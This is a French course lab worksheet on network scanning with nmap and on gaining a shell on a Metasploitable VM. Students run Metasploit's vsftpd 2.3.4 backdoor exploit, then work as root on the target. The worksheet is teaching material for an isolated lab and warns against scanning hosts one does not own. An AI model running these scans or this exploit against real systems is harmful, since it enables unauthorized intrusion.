

TP1 :

Le Scanning Réseau et le Gain d'accès

Sommaire

Objectifs	3
Pré-requis.....	3
I. Le Scanning Réseau	3
II. Le gain d'accès	4

Objectifs

Se familiariser avec les commandes Metasploit en utilisant l'exploit "unrealRCD"

Simuler les 3 phases d'attaque :

1. Scan
2. Exploit
3. Post-exploit

En utilisant l'exploit vs_ftpd_backdoor

Utilisation de Searchsploit pour automatiser la recherche et la mise à jour de la base de données MSF

Pré-requis

- Une machine virtuelle Kali
- Une machine virtuelle Metasploitable dédiée à ce type de simulation
Lien pour télécharger la machine Metasploitable :
<https://www.rapid7.com/products/metasploit/metasploitable/>
- Mise en réseau des deux machines
- Configuration de l'outil Metasploit sur la machine Kali

I. Le Scanning Réseau

Dans cette première partie du TP nous allons découvrir les services de base de l'un des outils de scan réseau le plus répandu, on parle de nmap.



Nmap (Network mapper) est un scanner réseau permettant de Récupérer des informations sur des hôtes ou des services qui tournent sur des hôtes faisant parti du réseau interne ou externe.

Pour information :

- Il existe d'autres outils de scan tel que: superscan, Angry IP Scanner, etc.
- Il existe une interface graphique de nmap appelée "zenmap", cependant, dans ce TP nous allons utiliser nmap en ligne de commande.

Attention /!\: Vous n'avez pas le droit de scanner des IPs et/ou domaines qui ne vous appartiennent pas.

nmap a créé un serveur pour faire des tests sur domaine c'est le domaine : scanme.nmap.org

1. Pour chacune des commandes suivantes répondez aux questions suivantes :

Les commandes doivent être lancées avec le shell root.

- nmap -sP <IP de la victime>
- nmap -sP <une autre IP du réseau>
- nmap -sS <IP de la victime>
- nmap -sV <IP de la victime>
- nmap -p 80,443 <IP de la victime>

- `nmap -sV -p 80,443 <IP de la victime>`
 - `nmap -sV -p 80,443 <IP de la victime> -A`
 - a) Que fait chacune des commandes ?
 - b) En quoi la commande est-elle utile pour un attaquant ?
2. Quels sont les différents états (stat) de ports retournés par nmap ci-dessous ?
- `nmap -sV -p 80,443 <IP de la victime> > scan.txt`
 - `nmap -6 <IPv6 de la victime>`
 - `nmap -sC -p 80 <IP de la victime>`
3. Vous pouvez scanner plus qu'une seule adresse IP en utilisant l'une des méthodes suivantes :
- `192.168.1.1-100`
 - `192.168.1.*`
 - `192.168.1.0/24`

//. Le gain d'accès

Dans cette deuxième partie nous allons utiliser Metasploit framework



1. Relancer la commande `nmap -sV <IP de la victime>`
 - Donner le service, la version ainsi que l'état du port 21
2. Lancer l'interface console avec la commande `"msfconsole"`
3. Lancer la commande `"search vsftp"` et dites ce que vous remarquez.
4. Lancer la commande `"info exploit/unix/ftp/vsftpd_234_backdoor"`. Quelle information peut-on voir après le lancement de cette commande ?
5. Utilisation de l'exploit :
 - a) Lancer la commande `"use exploit/unix/ftp/vsftpd_234_backdoor"`
 - b) Lancer la commande `"show options"` et dites pourquoi cette commande est-elle importante ?
 - c) Lancer la commande `"set RHOSTS <IP de la victime>"`
 - d) Relancer `"show options"` et dites ce que vous remarquez.
 - e) Lancer l'exploit avec la commande `"exploit"`
6. A cette étape vous avez gagné l'accès à la machine victime et vous êtes sur la machine de la victime.
 - a) Taper la commande qui vous permet de voir le chemin sur lequel vous êtes sur la machine de la victime
 - b) Taper la commande `"cd root"`

- c) Rendez-vous sur la machine de la victime (Metasploitable) et taper `/s`
- d) Revenez à la machine Kali et Taper la commande qui vous permet de créer un fichier `Hello.txt`
- e) Rendez- vous sur la machine de la victime (Metasploitable) et taper `/s`,
- f) Que remarquez-vous ?